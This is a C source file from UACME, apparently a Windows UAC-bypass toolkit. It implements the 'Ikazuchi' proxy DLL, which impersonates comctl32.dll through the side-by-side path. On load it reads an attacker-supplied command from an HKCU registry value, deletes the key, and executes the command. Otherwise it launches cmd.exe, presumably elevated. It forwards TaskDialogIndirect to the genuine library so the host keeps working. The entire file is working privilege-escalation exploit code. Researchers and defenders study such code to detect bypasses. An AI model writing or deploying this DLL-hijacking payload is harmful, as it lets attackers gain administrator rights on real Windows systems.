UACME/Source/Ikazuchi/dllmain.c

537 lines
14 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2016
*
* TITLE: DLLMAIN.C
*
* VERSION: 2.50
*
* DATE: 07 July 2016
*
* Proxy dll entry point, Ikazuchi.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#if !defined UNICODE
#error ANSI build is not supported
#endif
//disable nonmeaningful warnings.
#pragma warning(disable: 4005) // macro redefinition
#pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s
#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
#pragma warning(disable: 6102) // Using %s from failed function call at line %u
#include <windows.h>
#include "..\Shared\ntos.h"
#include <ntstatus.h>
#include "..\shared\minirtl.h"
#include "..\Shared\_filename.h"
#if (_MSC_VER >= 1900)
#ifdef _DEBUG
#pragma comment(lib, "vcruntimed.lib")
#pragma comment(lib, "ucrtd.lib")
#else
#pragma comment(lib, "libvcruntime.lib")
#endif
#endif
#define T_AKAGI_KEY L"Software\\Akagi"
#define T_AKAGI_PARAM L"LoveLetter"
#define COMCTL32_SXS L"microsoft.windows.common-controls"
#define COMCTL32_DLL L"comctl32.dll"
typedef NTSTATUS(NTAPI *PENUMOBJECTSCALLBACK)(POBJECT_DIRECTORY_INFORMATION Entry, PVOID CallbackParam);
typedef struct _OBJSCANPARAM {
PWSTR Buffer;
ULONG BufferSize;
} OBJSCANPARAM, *POBJSCANPARAM;
typedef struct _SXS_SEARCH_CONTEXT {
LPWSTR DllName;
LPWSTR PartialPath;
LPWSTR FullDllPath;
} SXS_SEARCH_CONTEXT, *PSXS_SEARCH_CONTEXT;
typedef HRESULT(WINAPI *pfnTaskDialogIndirect)(
VOID *pTaskConfig,
int *pnButton,
int *pnRadioButton,
BOOL *pfVerificationFlagChecked
);
/*
* DummyFunc
*
* Purpose:
*
* Stub for fake exports.
*
*/
VOID WINAPI DummyFunc(
VOID
)
{
}
/*
* supEnumSystemObjects
*
* Purpose:
*
* Lookup object by name in given directory.
*
*/
NTSTATUS NTAPI supEnumSystemObjects(
_In_opt_ LPWSTR pwszRootDirectory,
_In_opt_ HANDLE hRootDirectory,
_In_ PENUMOBJECTSCALLBACK CallbackProc,
_In_opt_ PVOID CallbackParam
)
{
BOOL cond = TRUE;
ULONG ctx, rlen;
HANDLE hDirectory = NULL;
NTSTATUS status;
NTSTATUS CallbackStatus;
OBJECT_ATTRIBUTES attr;
UNICODE_STRING sname;
POBJECT_DIRECTORY_INFORMATION objinf;
if (CallbackProc == NULL) {
return STATUS_INVALID_PARAMETER_4;
}
status = STATUS_UNSUCCESSFUL;
// We can use root directory.
if (pwszRootDirectory != NULL) {
RtlSecureZeroMemory(&sname, sizeof(sname));
RtlInitUnicodeString(&sname, pwszRootDirectory);
InitializeObjectAttributes(&attr, &sname, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtOpenDirectoryObject(&hDirectory, DIRECTORY_QUERY, &attr);
if (!NT_SUCCESS(status)) {
return status;
}
}
else {
if (hRootDirectory == NULL) {
return STATUS_INVALID_PARAMETER_2;
}
hDirectory = hRootDirectory;
}
// Enumerate objects in directory.
ctx = 0;
do {
rlen = 0;
status = NtQueryDirectoryObject(hDirectory, NULL, 0, TRUE, FALSE, &ctx, &rlen);
if (status != STATUS_BUFFER_TOO_SMALL)
break;
objinf = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, rlen);
if (objinf == NULL)
break;
status = NtQueryDirectoryObject(hDirectory, objinf, rlen, TRUE, FALSE, &ctx, &rlen);
if (!NT_SUCCESS(status)) {
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, objinf);
break;
}
CallbackStatus = CallbackProc(objinf, CallbackParam);
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, objinf);
if (NT_SUCCESS(CallbackStatus)) {
status = STATUS_SUCCESS;
break;
}
} while (cond);
if (hDirectory != NULL) {
NtClose(hDirectory);
}
return status;
}
/*
* supDetectObjectCallback
*
* Purpose:
*
* Comparer callback routine used in objects enumeration.
*
*/
NTSTATUS NTAPI supDetectObjectCallback(
_In_ POBJECT_DIRECTORY_INFORMATION Entry,
_In_ PVOID CallbackParam
)
{
POBJSCANPARAM Param = (POBJSCANPARAM)CallbackParam;
if (Entry == NULL) {
return STATUS_INVALID_PARAMETER_1;
}
if (CallbackParam == NULL) {
return STATUS_INVALID_PARAMETER_2;
}
if (Param->Buffer == NULL || Param->BufferSize == 0) {
return STATUS_MEMORY_NOT_ALLOCATED;
}
if (Entry->Name.Buffer) {
_strncpy(
Param->Buffer, Param->BufferSize / sizeof(WCHAR),
Entry->Name.Buffer, Param->BufferSize / sizeof(WCHAR)
);
return STATUS_SUCCESS;
}
return STATUS_UNSUCCESSFUL;
}
/*
* sxsFilePathNoSlash
*
* Purpose:
*
* same as _filepath except it doesnt return last slash.
*
*/
wchar_t *sxsFilePathNoSlash(
const wchar_t *fname,
wchar_t *fpath
)
{
wchar_t *p = (wchar_t *)fname, *p0 = (wchar_t*)fname, *p1 = (wchar_t*)fpath;
if ((fname == 0) || (fpath == NULL))
return 0;
while (*fname != (wchar_t)0) {
if (*fname == '\\')
p = (wchar_t *)fname;
fname++;
}
while (p0 < p) {
*p1 = *p0;
p1++;
p0++;
}
*p1 = 0;
return fpath;
}
/*
* sxsFindDllCallback
*
* Purpose:
*
* LdrEnumerateLoadedModules callback used to lookup sxs dlls from loader list.
*
*/
VOID NTAPI sxsFindDllCallback(
_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
_In_ PVOID Context,
_In_ OUT BOOLEAN *StopEnumeration
)
{
BOOL bCond = FALSE;
BOOLEAN bFound = FALSE;
PSXS_SEARCH_CONTEXT sctx = (PSXS_SEARCH_CONTEXT)Context;
do {
if ((DataTableEntry->BaseDllName.Buffer == NULL) ||
(DataTableEntry->FullDllName.Buffer == NULL))
break;
if (_strcmpi(DataTableEntry->BaseDllName.Buffer, sctx->DllName) != 0)
break;
if (_strstri(DataTableEntry->FullDllName.Buffer, sctx->PartialPath) == NULL)
break;
if (sxsFilePathNoSlash(DataTableEntry->FullDllName.Buffer, sctx->FullDllPath) == NULL)
break;
bFound = TRUE;
} while (bCond);
*StopEnumeration = bFound;
}
/*
* TaskDialogIndirectForward
*
* Purpose:
*
* Forward to comctl32!TaskDialogIndirect. We can drop it btw, its not needed.
*
*/
HRESULT WINAPI TaskDialogIndirectForward(
VOID *pTaskConfig,
int *pnButton,
int *pnRadioButton,
BOOL *pfVerificationFlagChecked
)
{
BOOL bCond = FALSE;
WCHAR *lpszFullDllPath = NULL, *lpszDirectoryName = NULL;
LPWSTR lpSxsPath = NULL;
SIZE_T sz;
PVOID hLib = NULL;
UNICODE_STRING DllName;
ANSI_STRING RoutineName;
NTSTATUS status;
pfnTaskDialogIndirect realFunc;
SXS_SEARCH_CONTEXT sctx;
HRESULT hr = E_NOTIMPL;
OutputDebugString(TEXT("Our ship has been hit!"));
do {
sz = UNICODE_STRING_MAX_BYTES;
NtAllocateVirtualMemory(NtCurrentProcess(), &lpszFullDllPath, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpszFullDllPath == NULL)
break;
sctx.DllName = COMCTL32_DLL;
sctx.PartialPath = COMCTL32_SXS;
sctx.FullDllPath = lpszFullDllPath;
if (!NT_SUCCESS(LdrEnumerateLoadedModules(0, &sxsFindDllCallback, (PVOID)&sctx)))
break;
lpszDirectoryName = _filename(lpszFullDllPath);
if (lpszDirectoryName == NULL)
break;
sz = 0x1000 + (_strlen(lpszDirectoryName) * sizeof(WCHAR));
NtAllocateVirtualMemory(NtCurrentProcess(), &lpSxsPath, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpSxsPath == NULL)
break;
_strcpy(lpSxsPath, L"\\\\?\\globalroot\\systemroot\\winsxs\\");
_strcat(lpSxsPath, lpszDirectoryName);
_strcat(lpSxsPath, L"\\comctl32.dll");
RtlInitUnicodeString(&DllName, lpSxsPath);
if (NT_SUCCESS(LdrLoadDll(NULL, NULL, &DllName, &hLib))) {
if (hLib) {
realFunc = NULL;
RtlInitString(&RoutineName, "TaskDialogIndirect");
status = LdrGetProcedureAddress(hLib, &RoutineName, 0, (PVOID *)&realFunc);
if ((NT_SUCCESS(status)) && (realFunc != NULL)) {
hr = realFunc(pTaskConfig, pnButton, pnRadioButton, pfVerificationFlagChecked);
}
}
}
} while (bCond);
if (lpszFullDllPath) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &lpszFullDllPath, &sz, MEM_RELEASE);
}
if (lpSxsPath) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &lpSxsPath, &sz, MEM_RELEASE);
}
return hr;
}
/*
* ucmQueryCustomParameter
*
* Purpose:
*
* Query custom parameter and run it.
*
*/
BOOL ucmQueryCustomParameter(
VOID
)
{
BOOL cond = FALSE, bResult = FALSE;
OBJECT_ATTRIBUTES obja;
UNICODE_STRING usKey;
NTSTATUS status;
KEY_VALUE_PARTIAL_INFORMATION keyinfo;
SIZE_T memIO;
HKEY hKey = NULL;
PVOID ProcessHeap = NtCurrentPeb()->ProcessHeap;
LPWSTR lpData = NULL, lpParameter = NULL, lpszParamKey = NULL;
STARTUPINFOW startupInfo;
PROCESS_INFORMATION processInfo;
ULONG bytesIO = 0L;
WCHAR szBuffer[MAX_PATH * 2];
OBJSCANPARAM Param;
do {
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
Param.Buffer = szBuffer;
Param.BufferSize = sizeof(szBuffer);
status = supEnumSystemObjects(L"\\Rpc Control\\Akagi", NULL,
supDetectObjectCallback, &Param);
if (!NT_SUCCESS(status))
break;
RtlSecureZeroMemory(&usKey, sizeof(usKey));
RtlInitUnicodeString(&usKey, szBuffer);
memIO = 0x1000 + (_strlen(szBuffer) * sizeof(WCHAR));
lpszParamKey = RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, memIO);
if (lpszParamKey == NULL)
break;
_strcpy_w(lpszParamKey, L"\\REGISTRY\\USER\\");
_strcat_w(lpszParamKey, usKey.Buffer);
_strcat_w(lpszParamKey, L"\\");
_strcat_w(lpszParamKey, T_AKAGI_KEY);
RtlSecureZeroMemory(&usKey, sizeof(usKey));
RtlInitUnicodeString(&usKey, lpszParamKey);
InitializeObjectAttributes(&obja, &usKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtOpenKey(&hKey, KEY_ALL_ACCESS, &obja);
if (!NT_SUCCESS(status)) {
break;
}
RtlInitUnicodeString(&usKey, T_AKAGI_PARAM);
status = NtQueryValueKey(hKey, &usKey, KeyValuePartialInformation, &keyinfo,
sizeof(KEY_VALUE_PARTIAL_INFORMATION), &bytesIO);
if ((status != STATUS_SUCCESS) &&
(status != STATUS_BUFFER_TOO_SMALL) &&
(status != STATUS_BUFFER_OVERFLOW))
{
break;
}
lpData = RtlAllocateHeap(ProcessHeap, HEAP_ZERO_MEMORY, bytesIO);
if (lpData == NULL) {
break;
}
status = NtQueryValueKey(hKey, &usKey, KeyValuePartialInformation, lpData, bytesIO, &bytesIO);
NtDeleteKey(hKey);
NtClose(hKey);
hKey = NULL;
lpParameter = (LPWSTR)((PKEY_VALUE_PARTIAL_INFORMATION)lpData)->Data;
if (lpParameter != NULL) {
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
GetStartupInfo(&startupInfo);
bResult = CreateProcessW(NULL, lpParameter, NULL, NULL, FALSE, 0, NULL,
NULL, &startupInfo, &processInfo);
if (bResult) {
NtClose(processInfo.hProcess);
NtClose(processInfo.hThread);
}
}
RtlFreeHeap(ProcessHeap, 0, lpData);
} while (cond);
if (hKey != NULL) {
NtDeleteKey(hKey);
NtClose(hKey);
}
if (lpszParamKey != NULL) {
RtlFreeHeap(ProcessHeap, 0, lpszParamKey);
}
return bResult;
}
/*
* DllMain
*
* Purpose:
*
* Proxy dll entry point, start cmd.exe and exit immediatelly.
*
*/
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
DWORD cch;
TCHAR cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1];
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
UNREFERENCED_PARAMETER(hinstDLL);
UNREFERENCED_PARAMETER(lpvReserved);
if (fdwReason == DLL_PROCESS_ATTACH) {
OutputDebugString(TEXT("I'm Ikazuchi! Not 'Kaminari'! Please take care of that part too, okay!"));
if (!ucmQueryCustomParameter()) {
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
GetStartupInfoW(&startupInfo);
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\"), sysdir, MAX_PATH);
if ((cch != 0) && (cch < MAX_PATH)) {
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, TEXT("cmd.exe"));
if (CreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL,
sysdir, &startupInfo, &processInfo))
{
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
}
}
OutputDebugString(TEXT("I think we blew up something!"));
}
return TRUE;
}